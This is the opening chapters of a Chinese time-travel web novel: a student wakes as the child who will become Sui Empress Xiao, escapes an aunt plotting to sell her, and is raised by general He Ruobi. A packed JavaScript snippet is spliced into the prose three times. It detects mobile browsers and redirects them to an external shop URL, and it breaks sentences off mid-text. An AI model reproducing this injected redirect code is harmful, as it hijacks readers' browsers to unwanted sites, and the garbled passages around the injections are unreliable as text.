《在暴君身边那些年》 1. 这开局不行 我穿过来的时候,脑子一团乱麻。 一半塞着十岁萧锦的记忆——亡国公主,爹病得厉害,眼看就要变成孤儿。 另一半,是我本人林晚的——昨晚还在图书馆跟《隋唐史》死磕的18岁倒霉大学生。 先理理我家这摊子事。 我爹萧岿,是梁国最后一个皇帝。你要对梁国没概念,可以想想《琅琊榜》里萧景琰那一家子。到我这代的话,我差不多就是他孙子的孙子。后来梁国被南边的陈国灭了,我爹就从皇帝变成了陈国的阶下囚。 再后来,北边的大隋朝起来了,收拾了陈国,一统天下。我爹这个梁国末代皇帝,就成了新朝手里一件有点特殊的“老物件”,封了个“莒国公”的空头爵位,养在江陵这座宅子里。 有名分,没权力,每月领点钱粮,安安分分别惹事,就是他全部的日子。 我娘死得早,这么多年,就我、爹,还有一个忠心的老管家,在这座冷清的宅子里凑合过着。 而我呢? 按说像我这样的前朝公主,最好的结局应该是在这座安静的宅院里无声无息地长大,嫁个不起眼的人家,然后被所有人遗忘。 但史书上白纸黑字给我安排的,是另一条路。 「萧后,性婉顺,有智识。隋炀帝后……江都之变,帝崩……后辗转于宇文化及、窦建德、突厥处罗可汗之手……贞观四年归唐。」 短短几行,就是一个女人从皇后到俘虏,半生飘零的说明书。 对,历史上著名的“暴君”隋炀帝杨广的正妻,那个“性婉顺”的萧皇后—— 就是我,萧锦。 而现在,这两段记忆像被强行按在一起的拼图,咔嚓一声,严丝合缝。 一个冰冷的事实砸进我意识里: 我,林晚,成了萧后。 不过眼下还不是那个已经走完悲催一生的符号。 我只是十岁的萧锦。 是那个以后要嫁给隋炀帝杨广,看着他作死,亡国,自己像件东西一样被抢来抢去的……未来萧皇后。 哈。 这感觉,就像刚通宵复习完《悲剧女主角的必然结局》,一睁眼,考官把卷子拍我面前: “别复习了,考生萧锦,请开始你的表演。” 混乱中,眼前突然闪过一个破碎的画面。 一个满身珠翠的女人捏着我的下巴,对旁边的人说:“这张脸……养几年,能换不少钱。” 画面快得像错觉。 我甩甩头,以为是两段记忆冲撞产生的幻觉。 “锦儿……” 爹在里屋叫我,声音弱得像是下一秒就要断。 我踢踏着过大的鞋子跑进去,差点摔一跤。 病床上的人瘦得脱相,但还是努力对我笑:“锦儿……爹给你找了去处。你长安的姑姑,元家的,明日就来接你……” 话没说完,他咳得撕心裂肺。 我拍着他的背,心里咯噔一下。 元家姑姑? 我记得。爹是有一个表妹,早年嫁去了长安。很多年没走动了,怎么突然要来接我? 凭我多年看小说的经验,这种亲戚不是卖保险就是要搞传销!哦不对,古代,那八成是来吸血的! 我晃了晃神,眼前又是一闪! 阴暗的小屋,粗瓷碗里装着馊了的粥,一个婆子恶狠狠地说:“不吃?饿你三天看你还硬气!” 这次更清晰了。 我猛地缩回手,心脏狂跳。 怎么回事? 这些突然冒出来的画面……是什么? 当晚,我躺在床上辗转难眠。 那些画面太真实了,不像单纯的记忆。尤其是那个满身珠翠的女人和阴暗的小屋,透着一种……尚未发生的、令人窒息的恶意。 一个模糊的念头浮上来。 难道, 这就是传说中的穿越者福利之“间歇性未来片段闪现体验卡”? 我闭上眼睛...... 明天就知道了。 如果那个姑姑,真的和画面里一样满身珠翠…… 第二天下午,元氏来了。 满身珠翠,带着一群丫鬟婆子,排场比我这个落魄公主还大。 我的呼吸顿住了。 一模一样的珠翠,一模一样的脸。 “我苦命的仁远哥哥啊!”她一进门就扑到床边,哭得那叫一个响,“你放心!锦儿交给我,我当亲闺女疼!” 我站在旁边,看着她用金边帕子擦根本不存在的眼泪,浑身发冷。 是她。 那个在画面里捏着我下巴说“能换钱”的女人。 她转身抓住我的手,捏得生疼:“瞧这小脸,多水灵。跟姑姑回长安,新衣裳,金镯子,管够!” 在她碰到我手腕的瞬间,更多画面碎片涌进来: 我被关进柴房旁漏风的小屋,窗外飘雪。 元氏对账房先生说:“……她爹江南那些田产,尽快过到我名下。” 一个穿着皮袄、商人模样的男人扔给元氏一袋沉甸甸的东西。 画面比昨天更连贯了。 这次我忍着没有缩手,努力记住每一个细节。 爹信了元氏的表演,感动得又咳起来:“有劳妹妹了……” 元氏笑得慈祥,眼神却像在打量一件货,掂量我这件“货”,能卖多少钱。 我垂下眼,心跳如擂鼓。 果然,那些画面……不是幻觉。 它们在提醒我,如果跟这个女人走,究竟会遭遇什么。 那天晚上,我光着脚,悄悄摸到元氏住的厢房外。 窗户纸透着光,里面传出压低的声音。 我蹲在窗根底下,屏住呼吸听。 是元氏和她的心腹婆子在说话。 婆子:“夫人,咱们真要把那丫头带回去养着?养个孩子可费钱。” 元氏(冷笑):“费钱?你当我傻?带她回去,是让她给咱们挣钱!” 婆子:“啊?她一个十岁的丫头,能挣什么钱?” 元氏:“你懂什么?我哥萧岿,以前可是梁国皇帝。瘦死的骆驼比马大,他手里肯定还藏着好东西——江南那些田庄的地契,长安城里的宅子,说不定还有宫里流出来的宝贝。这些,才是值钱的。” 婆子:“可……可那是她爹的,她能给咱们?” 元氏:“不给?由得了她?一个小丫头,关几天,饿几顿,吓唬几次,有什么吐不出来?柴房边上那间空屋子看见没?就关那儿。对外就说她身子弱,需要静养。” 听到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125701|196057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这儿,我手脚冰凉。 和白天看到的画面,对上了。阴暗的小屋,馊饭,凶婆子。 婆子:“要是……要是她爹其实没什么东西留下呢?” 元氏(声音更冷):“没有?那就养着。养上几年,模样长开了,这张脸就是钱。” 婆子:“脸?” 元氏:“嗯。要么送给长安城里的贵人们当个玩物,换点人情。要么……我听说有些来往西域突厥的商队,就喜欢买这样出身的女孩,转手卖给草原上的头人,价钱高得很。” 婆子(吸了口气):“这……这要是传出去……” 元氏(嗤笑):“传出去?谁传?一个亡了国的公主,谁在乎?给口饭吃,有件衣裳穿,饿不死就行。等养大了,用处就来了。” 我蹲在窗外,浑身的血都往头上涌。 关起来,逼问家产。 问不出来,就养大了卖钱。 卖给贵人当玩物,或者卖给突厥商人。 这就是我那个“好姑姑”的打算。 我悄悄退回自己房间,关上门,背靠着门板坐下。 心跳得厉害,是气,也是慌。 知道了,就不能让它成真。 可我一个十岁的孩子,爹病得连说话都费劲,怎么斗得过带着丫鬟婆子的元氏?万一他们趁我爹病要我命,强抢怎么办? 我蜷在床上,指甲掐着手心,逼自己冷静。不能慌,慌就完了。 得找人帮忙。 找谁?爹的亲戚?元氏就是“亲戚”。指望他们,不如指望母猪上树。 还有谁…… 我拼命回想上辈子背过的史书,那些关于萧皇后的字句。 “……萧后……性婉顺……幼时……养于……” 养于……? 我猛地坐直。 养于贺若弼! 对!史书里提过一笔,虽然就几个字,但清清楚楚,萧皇后小时候,曾经被贺若弼收养过! 贺若弼是谁?平陈大将,手掌兵权的大人物。元氏那种货色,给他提鞋都不配。 要是……要是能让爹写信给贺若弼…… 这个念头让我心跳快得像打鼓。 爹认识贺若弼吗? 我闭上眼,使劲儿往原主记忆深处挖。那些属于小萧锦的、模糊的碎片…… 有了。 是去年秋天,爹精神稍好的时候。他靠坐在南窗边的榻上,手里摩挲着一块半旧的玉佩,望着院子里的落叶,很久没说话。然后,我听见他极轻地叹了口气,自言自语了一句: “也不知……辅伯如今怎么样了。他那脾气,在朝中怕是没少得罪人吧……” 声音很轻,满是感慨,还有……担忧。 “辅伯”。 贺若弼的字,就是辅伯。 爹不仅认识他,还记得他的脾气,甚至会担心他得罪人。 这绝不是泛泛之交。至少,在爹心里,是把这个人当旧友记着的。 甚至可能……交情匪浅。 原主当时太小,不懂。但现在我懂了。 这根线,或许没断。 只能赌这一把了。 赌赢了,跳出火坑。 赌输了……大不了也就是被卖。 总比坐着等死强。 2. 给自己找个爹 第二天,元氏果然开始行动了。 她先是坐在爹床边,东拉西扯,最后话题绕到了家产上。 “仁远哥哥,你病着,锦儿还小。江南那些田庄、长安的宅子,总得有人打理。交给我,我帮你照看着,等锦儿大了,原封不动还给她。” 爹不糊涂,摇摇头:“不劳烦妹妹了。那些……我都留给锦儿当嫁妆。” 元氏脸色有点不好看,但马上又笑起来:“那是自然,锦儿的嫁妆,肯定丰厚。我就是怕没人管,荒废了……” 我在旁边玩九连环,突然抬起头,一脸天真地问: “姑姑,你想要我家的房屋地契吗?” 房间里瞬间安静。 元氏的表情像是被人迎面打了一拳,惊愕又难堪:“锦儿?” 我眨了眨眼,“昨天你跟那个高个子嬷嬷在门外说话,我听见了呢。” 爹的目光锐利地扫向元氏。 元氏强笑:“小孩子家家,定是听错了……” 我没理她,模仿着大人的口气,笨拙地复述:“那嬷嬷说:‘夫人放心,都打听明白了,萧家南边的庄子靠着河,是好地。长安宅子的地契,听说就收在萧老爷床头的匣子里,等把人接过去,总有法子弄到手……’” “你胡说什么!”元氏厉声喝道,脸色煞白,猛地站起来。 我被她的样子吓得往后一缩,九连环掉在地上。我看看她,又看看爹,嘴巴一扁,眼泪说来就来,指着元氏抽抽搭搭地对爹说: “爹……她还说,说等把我带回去,就让我住到柴房边上的小屋里,说那里‘安静’……爹,柴房边上好黑,晚上还有老鼠叫,我害怕……我不去!” 爹看着元氏,又看看我,呼吸越来越重,最后剧烈地咳嗽起来。 元氏百口莫辩,脸上青一阵白一阵,最后甩下一句“这孩子怕是中邪了,净说胡话”,带着人,灰头土脸地走了。 屋里终于安静下来。 爹咳了好一阵,才缓过气,看着我:“锦儿……那些话,你真听见了?” 我爬上床,钻进他怀里,紧紧抱住他。 “爹,”我把脸埋在他瘦得硌人的胸口,声音闷闷的,“我不想去姑姑家。她说的话,我好怕。” 爹摸着我的头发,长长地叹了口气,那叹息里全是无力:“爹也不想……可爹这身子,护不了你几天了。去了那边,总能……有口饭吃。” “爹,”我抬起头,看着他浑浊的眼睛,“换个人养我,行不行?” 爹苦笑:“傻孩子,这哪是说换就换……” “比如,”我轻轻说出那个名字,“贺若弼,贺大将军。” 爹的手,一下子僵住了。 他像是第一次认识我:“……锦儿,你从哪里知道这个名字?” 我往他怀里缩了缩,小声说:“您自己说的呀。” “去年秋天,您拿着那块穗子都快磨没了的旧玉佩,在窗边坐了一下午。后来我听见您叹气,说‘辅伯那炮仗性子,在朝堂里怕是要吃亏’。” 爹的呼吸明显顿住了。 “还有,”我声音更小了,“您有时候说梦话,会喊‘江陵’,还会嘟囔‘答应的事……得算数’。” 我抬头看着他:“爹,‘辅伯’就是贺若弼贺大将军,对不对?” 爹的嘴唇动了动,没出声。 我知道他在想什么。 贺若弼现在是陛下跟前第一等的红人,宋国公,右武侯大将军,实实在在握着实权的新朝贵胄。 我们萧家呢?前朝剩下的空壳子,说难听点,就是等着被扫进故纸堆的“余孽”。 一个天上,一个地下。 现在去求他,等于把最后那点脸面扔地上,赌他还念二十年前的旧情。 可爹看着我被眼泪糊住的脸,看着我被元氏吓到还在发抖的手。 他忽然笑了,笑得比哭还难看。 “对,”他哑着嗓子,每个字都像砸在地上,“你贺伯伯,现在是通天的人物。” “护住你一个小丫头,对他来说,一句话的事。” “爹这张脸不值钱,扔了就扔了。” 他叫来老管家安叔,让他拿来纸笔。 这一次,他握笔的手抖得厉害,但眼神却是一种下定决心的清醒。 他写得很慢,很用力。 那不是普通的信。 那是把全部的希望,押在了一份十几年没联系的交情上。 信,被安叔仔细藏好,连夜送了出去。 送往长安,贺若弼的府邸。 元氏又来了几次。 第一次,她想直接把我带走,被爹以“病重需要静养”为由挡了回去。 第二次,她带了个“神医”,端来一碗味道刺鼻的药,说是给爹“补元气”。我趁他们不注意,“不小心”撞了一下,药碗摔在地上,黑色的药汁洒了一地,滋滋地冒着小泡。 元氏脸都黑了。爹闭上眼睛,不再看她。 第三次,她不再假装,带了两个膀大腰圆的粗使婆子,直接要硬抢。 “仁远哥哥糊涂了,我不能眼看着外甥女没人管!带走!”她尖着嗓子喊。 两个婆子冲上来,像抓小鸡一样把我抓住,胳膊被捏得生疼。 我拼命挣扎,大喊:“爹!爹!我不去!” 爹在里屋撕心裂肺地咳,却帮不上忙。老管家扑上来拦,被婆子一把推倒在地。 就在我以为彻底完了的时候—— 外面突然传来雷鸣般的马蹄声! 轰隆隆,地面都在震。 紧接着,一声洪钟般的吼声炸响在门外: “圣旨到,右武候大将军、宋国公贺若弼,奉陛下口谕,前来探望莒国公萧岿——闲杂人等,立刻退开!” 元氏和那两个婆子全都僵住了,脸上血色瞬间褪尽。 我趁机猛地挣脱,跑到窗边,心脏狂跳着望向外面。 院门被“砰”地一声推开。 一个高大的身影逆着光,大步流星地走了进来。他未着甲胄,只一身深色常服,腰间佩剑,步伐间带着久经沙场的沉稳与锋锐。大约四十岁年纪,国字脸,浓眉如墨,一双眼睛亮得慑人,扫视间仿佛有金石之音。 贺若弼。 真人和史书里“性刚烈,重然诺”的描述,瞬间重合。 他目光如电,瞬间掠过院内僵立的元氏一行人,没有丝毫停留,仿佛她们只是无关紧要的摆设,径直走向正房。在门口,他对紧随其后的副将简洁下令: “守住这里。没我的命令,任何人不得进出。” “遵命!”副将领命,手按刀柄,眼神冷厉地扫向元氏等人。 然后,他推门进来。 目光首先落在病床上形容枯槁的爹身上,顿了顿。那一眼里,有关切,有痛惜,有物是人非的沉重感慨,百味杂陈。 “仁远,”他叫爹的表字,声音沉厚,压下了所有翻涌的情绪,“我来了。” 然后,他的视线转向我。 我站在床边,必须使劲仰头,才能看清他的脸。 他略一沉吟,竟蹲了下来,与我平视。这个动作让他周身迫人的气势缓和了许多。 “你就是锦儿?”他的声音比我想象中温和一些,但依然带着不容置疑的力量。 我用力点头,把爹教我的话一字不差地说出来:“贺伯伯,爹说,您是他这辈子,最相信的人。” 床上的爹挣扎着想坐起,被他轻轻却坚定地按住。 “信,我收到了。”贺若弼单刀直入,没有任何迂回,“你的托付,我贺若弼接了。从今日起,锦儿就是我贺若弼的女儿。” 没有废话,没有推诿,干脆利落得让人想哭。 爹的眼泪瞬间涌了出来,他用尽力气抓住贺若弼的手,指甲几乎掐进对方的皮肉里:“辅伯……大恩……来世……” “别说这些。”贺若弼反手握紧他的手,打断了他,“你我之间,不必说这个。锦儿我带走,养在贺家,不改姓,不更名。她永远是你萧岿的女儿,也会是我贺若弼的女儿。只要我贺若弼还有一口气在,就没人能欺她分毫。” 我在旁边听着,眼眶也有点酸。 原来,史书上那句冰冷记载“贺若弼养之”的背后,是这样一番生死相托、千金一诺的场面。 “外面那个女人,”贺若弼微微侧头,瞥了眼窗外,语气转冷,“怎么回事?” 爹气息微弱,一时说不出话。我抬起袖子胡乱抹了把脸,抢着开口,语速又快又清晰,带着孩子告状般的委屈和愤怒:“是元家姑姑!她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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爹笑了笑,那笑容很轻,像是终于放下了所有心事。他最后看了我一眼,慢慢地闭上了眼睛。 手,松开了。 房间里很安静。 我没有哭天抢地。很奇怪,心里堵得厉害,鼻子酸涩难忍,但眼泪并没有决堤。 或许是因为早有准备,或许是因为……我知道,他走得没有遗憾了。 爹的丧事办得简单却郑重。 贺若弼带来的亲兵里,有懂仪程的老卒,带着我和老管家安叔,按着该有的规矩,静悄悄地操持了三天。 下葬那日,天阴着。贺若弼亲自扶灵,送到城外萧家早备下的坟地。我穿着临时找来的素服,跟在后面。 没有哭声震天,只有铁甲摩擦声和沉重的脚步声。棺木入土时,贺若弼按着我的肩,让我跪下,磕了三个头。 他对着新起的坟头,沉声说:“仁远,安心去吧。锦儿有我。” 回城后歇了一日,该动身了。 安叔没跟来。 他站在庭院里那棵老槐树下,对贺若弼躬身:“老奴不走了。” 贺若弼皱眉:“宅子都空了。” 安叔没答,只抬起手,枯瘦的指节很轻地碰了碰斑驳的廊柱。他目光扫过空荡荡的庭院,扫过褪色的梁椽,最后停在主屋那块已经模糊的旧匾上。半晌,才低低道:“总得有人守着……梁国最后这点影子。” 贺若弼沉默片刻,留下一袋钱,拍了拍他的肩。 走的那天,安叔换了身浆洗得发白的旧宫人服,立在门槛内,朝我们长揖到地。晨雾漫过他的肩,也漫过身后再无主人的厅堂与庭院。 贺若弼将我抱上马车。 车里铺了厚厚的毡毯,角落还搁了个小手炉。 “坐好。” 他放下车帘。 外面传来他上马的声音,然后是他的命令:“出发。” 马车轱辘转动起来。 我掀开一点帘子,看着熟悉的街道、房子、大树,一点点后退,变小,最后消失在拐角。 而那道穿着旧宫服的灰影,像一枚生了根的界碑,牢牢钉在故国的残梦里。 马车出城时,东边的天刚好开始发白。 官道又长又直,通向看不见的前方。车轮声咕噜咕噜地响。 我抱着我的小包袱,靠在车厢里。 隔着帘子,能听见贺若弼骑马跟在旁边,马蹄声稳定有力,哒,哒,哒,和车轮声混在一起。 车夫轻轻甩了下鞭子。 “驾。” 3. 长安副本开启 贺府比我想象中简单得多。 宅子大而空旷,没什么精巧装饰,青石板被踩得光滑,廊下立着兵器架,空气里总有股擦拭皮革和冷铁的味道。 没有雕梁画栋,没有曲水回廊。宅子大,却空旷,处处透着武将之家的粗粝和实用。青石铺地,兵器架立在廊下,空气中隐约有皮革和铁器的味道。 贺若弼的妻子去得早,府里没有女主人,只有一位沉默寡言的老管家操持内外。他有个儿子,贺璟,今年十七岁。 我来那天,在正堂干坐着。一抬头,看见个少年杵在门口台阶上。 十七岁的贺璟,身量已近成人,肩背挺直。他穿着深青色劲装,袖口紧束,露出一截线条流畅的小臂。眉眼生得极好,鼻梁高挺,但脸上没什么表情,高冷范儿十足。 他走进来,对贺若弼行礼:“父亲。” 然后看向我。 “这是你妹妹萧锦。”贺若弼说,“锦儿,这是你阿兄贺璟。以后就是一家人,要互相照应。” 我站起来,十岁的身体,得仰头才能看清他的脸。 “阿兄好。”我规规矩矩叫了一声,拿出十岁小孩该有的样子。 贺璟点了点头,算是回应。然后对贺若弼道:“西厢已收拾出来了。” 干脆利落,一句废话没有。 贺若弼满意地挥手:“带锦儿过去看看,缺什么让管家添置。” “是。”贺璟转身,“跟我来。” 我拎着小包袱跟在他身后,他步子大,我几乎要小跑才跟得上。 “就这儿。”他在一处小院前停下,“我住东边那个院子,有事可以来找我。” 院子收拾得很干净,有棵老槐树,树下放着石桌石凳。 “谢谢阿兄。”我说。 他又点了点头,没多话,转身走了。 我看着他挺拔的背影消失在回廊拐角,心想:这个哥哥,话少,但办事利索。挺好,省心。 贺若弼还给我拨了个小侍女,叫云枝,跟我差不多年龄。她娘原是走江湖卖艺的,病故后,贺若弼见她孤苦又机灵,便买了回来。她还会些拳脚功夫,做事麻利又细致。 嗯,新家配置初步摸清:一个威严的将军爹,一个颜值高的面瘫哥,一个机灵能干的小丫头。 头几日很安静。我住在单独收拾出来的小院,吃着北方的饭食,夜里听着和江陵不同的风声,鼻子干得发疼,总是半宿半宿醒着。 可这安静到底没持续多久。 先是贺若弼下朝回来,脸色有些沉,叫了老管家去书房,门关着说了许久。晚饭时,他瞥了我一眼,欲言又止,最后只给我夹了块炙羊肉:“多吃点,长安冬天冷,得长点力气。” 没过两日,便有客登门。来的竟是我母家,关中薛氏的人。 说来讽刺,自打我娘过世,到我长这么大,薛家连个人影都没瞧见过。如今倒不知从哪儿得了信,竟找上门来。 贺若弼在前厅见的客。我避在廊下,隐约能听见里头一位夫人温婉的嗓音,话里话外却总绕着“关陇血脉”、“旧日情分”、“代为照拂”这些词打转,听着亲热,却让人心里发凉。 贺若弼送客时,声音不高,但很清晰:“孩子既在我这儿,就不劳夫人费心了。贺某粗人,只会养孩子耍刀枪,怕是入不了贵府的眼。” 那之后,类似的拜访又来了两三回。有借着“探望贺将军”名义来的世家子弟,也有带着礼品、口称“怜惜旧贵之后”的命妇。都被贺若弼不软不硬地挡了回去。 我开始觉得不对劲。 我一个失了势的前朝公主,爹刚死,怎么突然成了香饽饽? 直到有一天,贺若弼一位交好的同僚来府里吃酒。酒过三巡,那将军嗓门大了些,话也少了顾忌,我隔着窗棂,断断续续听到几句: “……老贺,不是我说,你收留那萧家女娃,麻烦不小!” “什么麻烦?” “你是真不明白?”同僚把酒杯往桌上重重一放,凑近压低声音,“这些年陛下想干什么,明眼人都看出来了——收权!收谁的权?就是关陇那几家!” 他顿了顿,声音更沉:“自打秦汉起,到咱们大隋,关陇这几家大门阀,盘踞了多少代?朝堂上管官员升迁的吏部、管钱粮的户部、管兵马的兵部……您数数,多少尚书、侍郎是他们几家的人?再说军中,十二卫大将军里,多少位姓独孤、姓薛、姓宇文?连地方上那些要紧的州郡刺史,也多是他们的门生故故旧。这天下,倒像有一半姓了关陇。陛下,能忍吗?” “这跟一个十岁的小丫头有何相干?”贺若弼沉声问。 “太有关了!”同僚的指节敲了敲桌面,“关陇各家现在被陛下打压得厉害,想翻身,最稳妥的路子是什么?是往宫里塞自己人!” 他压低了声音:“这丫头是前朝公主,身份够‘清贵’,不是任何世家的女儿,送进天家不会立刻被划进哪派哪系,惹陛下猜忌。可她娘是关陇薛氏,骨子里流着一半关陇贵族的血。将来她若能在宫里站稳,生下皇子......那关陇就算在龙椅上,埋下了自己的根。” “那这些人早干什么去了?”贺若弼冷哼。 同僚嗤笑一声,“那时候接她,是桩没准的买卖,赌她将来‘或许’有用。现在抢她,是桩稳赚的生意——赌她将来‘一定’有用。” “因为贺家,现在站在她身后。” “说白了,她如今最大的本钱,是您。您是谁?是陛下信重、在朝在军都说得上话的人物。您收留她、认她,在外人眼里,就等于您给她作保了。贺大将军亲自收养过的人,谁不得高看一眼?身份、来历、靠山,全齐了。关陇那几家现在眼热她,图的就是这个。捏住了她,往后在某些关节上,不就等于捏住了您?这算盘,他们打得噼啪响。” 窗内沉默了片刻。 贺若弼的声音响起,比往常更沉:“所以,他们不是要‘照顾’她,是要‘用’她。” “没错!”同僚叹口气,带着几分醉意,也带着看透的无奈,“就是个活物件,看谁手快,看谁会用。老贺,你如今把她留在身边,等于怀里抱了个烧红的炭。听我一句……这烫手的山芋,不如找个妥当时候,远远送走,免得惹火上身。” 后面的话模糊了。 我站在窗内阴影里,脑子里就剩下了四个字。 “关陇贵族”。 这个时代的终极规则制定者,也是……最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125703|196057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大的反派。 军队是他们的人,朝堂是他们的人,连皇后都得是他们家的人。 那句“上品无寒门,下品无士族”,说的就是他们彻底堵死了普通人的路,把天下变成几家内部的游戏。 杨坚和杨广这爷俩是激进的“皇权派”,要从关陇手里把权力抢回来。后来杨广把江山都折腾没了,跟往死里打压关陇、动了根本,也有扯不清的关系。 好嘛。 我这穿越剧本的终极BOSS,出场得是不是有点太早了?! 而现在,这群“终极BOSS”盯上我了。 不过他们争抢的,从来不是我这个人。 而是我“前朝公主”名号,和我娘留下的那点“关陇出身”。一个能拿来装点门面,一个能拿来攀扯关系。 连好心收留我的贺伯伯,竟也成了他们算盘上的一颗珠子。借他的权势,给我这枚棋子再镀一层金,加一重注。 我忽然想起史书里关于萧皇后早期经历那语焉不详的几笔,原来背后,竟是这样暗流涌动的算计和争夺。 过了几日,贺若弼把我叫到书房。 他屏退左右,看着我,开门见山:“近日有些人来,你也知道。他们为什么来,你……明白几分了吧?” 我点了点头,没说话。 他叹了口气,揉了揉眉心,那张惯常坚毅的脸上显出些复杂的疲惫:“贺伯伯答应过你爹,护着你。这话永远算数。但……” 他抬起眼,目光如炬,直直看进我眼里: “但我也得告诉你,这长安城里,乃至这天下,想把你看成物件、想从你身上榨出点好处的人,只会多,不会少。我能替你挡一阵,挡不了一辈子。” 他走到墙边,取下一柄装饰用的、未开刃的短刀,递到我面前。 “靠山山会倒,靠人人会跑。丫头,记住,在这世道,尤其是你这样身份的女子,想真正站稳,想让人不敢随意拿捏,你手里……必须自己有东西。” 他顿了顿,声音低沉而有力: “从明天起,跟我学武。不想学,也得学。这不是商量。” 我看着他手中的短刀,刀鞘朴素,却沉甸甸地压在我视线里。 “我学。” 我接过刀,握得死紧。 原因很实在。 第一,我得有劲儿,把那些想把我当棋子摆布的手,一根根掰开。 什么关陇贵族?想拿我当筹码?门儿都没有。 第二,我知道自己将来得绑定谁,隋炀帝杨广。 这位爷的作死履历,我上辈子背得想撞墙。挖运河,征高丽,三伐辽东……活生生把大隋朝整没了。 要在这位高危职业爱好者身边苟到结局?没两下子,我怕连新手村都出不去。 第三………咳,其实吧,我心里还藏着点别的念头。 练武诶! 飞檐走壁,剑气如虹,十步杀一人……谁能拒绝“武林高手体验副本”啊! 这点小小的、不合时宜的雀跃,像偷偷冒泡的快乐水,滋啦一下,冲淡了满嘴的黄连味。 “贺伯伯,”我把刀往怀里一揣,抬头,眼神诚恳得像要入党,“咱们从哪儿先开始?” 4. 慢慢长大 日子就这么过着,一晃数年。 第一年,我蹲马步蹲到哭。贺若弼在旁边喝茶:“敌人砍你,可不看你掉不掉金豆子。”我一边抹泪一边想:等我练好了,看谁砍谁! 小云枝也跟着我一起蹲,她才九岁,扎着两个小揪揪,脸憋得通红,但愣是咬着牙一声不吭。她娘留下的那点拳脚底子,让她比一般小丫头稳当得多。 贺璟练完剑经过,停了脚步:“胯沉下去,重心在前脚掌。” 我按他说的调整,果然省力些。云枝也悄悄跟着调整姿势。贺璟看了我们俩一眼,几不可见地点了下头,拿着剑走了。 我看着他挺拔的背影,心里忽然有点恍惚。 十七岁。比我上辈子穿越时还小一岁。 可眼前的贺璟,肩背挺直,眼神沉静,说话做事干脆利落,没有半点我记忆里高中男生那种毛头小子的躁动。 这就是古代将门养出来的十七岁? 第二年学骑射。那马欺生,第一次就把我颠下去,云枝在下面急得直跳脚,又不敢出声。 贺璟勒住自己的马,在旁看着。 “缰绳不是让你拽死的。”他语气还是没什么起伏,但一句句教得仔细。 我按他说的,放松手臂,果然稳当多了。下来后,我又把要领细细说给云枝听。这小丫头胆大,第二天居然就敢自己试着上马了,虽然也摔了个屁墩儿,但拍拍土又爬起来,眼睛亮晶晶的。 这一年,我发现自己有些射箭天赋。第一次正经射箭,十箭里就有七八箭能上靶。贺若弼站在箭垛旁看了半晌,说了句:“女子善射,古来有之。你不必做养在笼里的雀。” 谢谢,但我觉得当只安静的雀也不错…… 也就是这年秋天,贺璟第一次正式领兵,去北边巡防。 走的那天清晨,我抱着我的小包袱送到门口。 “阿兄,这个给你。”我塞给他一个小布包,里面是我自己晒的金创药,还有几块饴糖。云枝也递上一个小荷包,声音细细的:“少爷,这是我娘教的止血草药,碾成粉了……” 贺璟接过,在掌心掂了掂,看了看我们俩。十八岁的青年,一身轻甲,眉宇间已有了超越年龄的沉稳。 “在家听话。”他只说了四个字,翻身上马。 马蹄声嘚嘚远去,我站在门口,看着那个挺拔的背影消失在晨雾里。 他才十八岁,放在我上辈子,还在宿舍打游戏逃课。可他已经要带兵去边境,面对真正的刀光剑影了。 云枝小声说:“小姐,少爷一定能平安回来的,对吧?” “当然。”我说。 第三年春,我十三岁了,终于能在府里亲兵手下走过十招了。虽然十招必败,每次摔得灰头土脸。 云枝的功夫也见长。她身法灵活,力气不足就用巧劲,有次竟把一个比她高半头的粗使丫鬟给撂倒了。虽然自己也摔得不轻,但爬起来时眼睛亮得惊人。 贺若弼某次看完我们俩对练,扔下一句:“像个样子了,但心思太杂,刀不够净。” 我后来才明白,他说的是我们出招时总在“想”,想下一式怎么接,想对方会怎么破。 真正的刀客,刀随心走。 懂了,就是别想太多,莽就对了。 贺璟那年十九岁,回来过两次。一次是春天,一次是深秋。 春天那次,他黑了些,瘦了些,但眼睛更亮。我正好在练箭,他站在场边看了一会儿,走过来调整我的姿势。 “肩放松,别绷着。”他的手在我肩胛处虚虚一按。 我这才发现,他已经比我高出一个头还多了。 深秋那次,他受了点伤,左臂缠着布带。我问怎么弄的,他只说“小伤”。但那天夜里,我听见老贺在书房发火:“……不要命了?一个人追出去三十里?!” 第二天我问贺璟,他正擦剑,闻言抬眼:“敌人残部逃窜,不追就跑了。” 他说得轻描淡写,但我看见他左臂动作时,眉头会下意识地蹙一下。 第四年,我十四岁,轻功小成。 那天我试着翻后院墙,蹬了两下居然真上去了!蹲在墙头时,正好撞见贺若弼遛弯回来。他抬头看我,我也看他。 沉默了三秒。 他:“……下来。” 我乖乖跳下来,乐开了花。 古人诚不欺我!中国功夫是真的能飞檐走壁! 秋天的时候,贺若弼把我叫到书房,指着墙角的沙盘说了句:“以后议事,你坐这儿听。” 贺璟不常在家,只偶尔夜里来我院中,也不多话,就着石桌上那盏油灯,用指尖蘸了茶水,画出曲曲直直的线。 “这处山隘,窄,好埋伏。”他指尖一点。 又划一道:“靠水扎营,能守,但得盯紧粮道。” 那一年我慢慢懂了:真正的仗,不只在眼前的刀光里,更在这些弯弯绕绕的线和人心算计的毫厘之间。 现在,是大隋开皇十九年。 